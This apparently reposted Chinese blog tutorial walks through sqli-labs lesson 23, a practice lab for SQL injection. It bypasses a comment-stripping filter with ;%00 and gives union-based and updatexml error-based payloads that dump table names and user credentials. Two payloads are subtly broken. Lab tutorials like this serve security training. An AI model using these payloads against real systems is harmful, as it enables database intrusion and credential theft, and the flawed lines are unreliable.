sqli-labs lesson 23
Posted Zh1z3ven
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs lesson 23相关的知识,希望对你有一定的参考价值。
less 23:
这里通过验证?id=1\'# 发现还是报错
观察代码:
这里涉及一个函数mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject)
此函数执行一个正则表达式的搜索和替换,简单来讲就是搜索 subject中匹配patter部分 以replacement作为替换
比如上面源代码中,就是在用户输入的id里搜索#和-- 并用空格替换
所以我们的注释符要换成;%00
执行:?id=1\' ;%00 此时页面回显正常了。剩下步骤与less 1一致
(因为国际惯例都知道是有3列,这里就不再演示)
查询回显字段(注意id要找一个,不存在的值)
这里解释一下为什么要找一个不存在的id值,大家观察下图的SQL语句,我们一共使用了两次select查询,
但是只有一个数据可以输出,为了让我们自己构造语句的数据可以正常输出所以要使前一个select没有结果
所以这里选择一个不存在的id值
执行:?id=0\' union select 1,2,3;%00
查询数据库
执行:?id=0\' union select 1,2,database();%00
查询数据库中所有表
执行:?id=0\' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();%00
查询users表中的所有字段
执行: ?id=0\' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=\'users\' ;%00
获取username和password中字段的值
执行:?id=0\' union select 1,2,group_concat(concat_ws(\'-\',username,password)) from users;%00
第二个方法:报错注入
还是用到updatexml()函数
执行:?id=1\' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1);%00
查询数据库:
执行:?id=1\' and update(1,concat(0x7e,database(),0x7e),1);%00
查询security数据库中的字段:
执行:?id=1\' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);%00
查询users表中的字段:
执行:?id=1\' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=\'users\' limit 0,1),0x7e),1);%00
查询username字段的值
执行:?id=1\' and updatexml(1,concat(0x7e,select username from users limit 0,1),0x7e),1);%00
password字段同理。
以上是关于sqli-labs lesson 23的主要内容,如果未能解决你的问题,请参考以下文章
SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!
SQL注入:sqli-labs Lesson-2 数字型变量的注入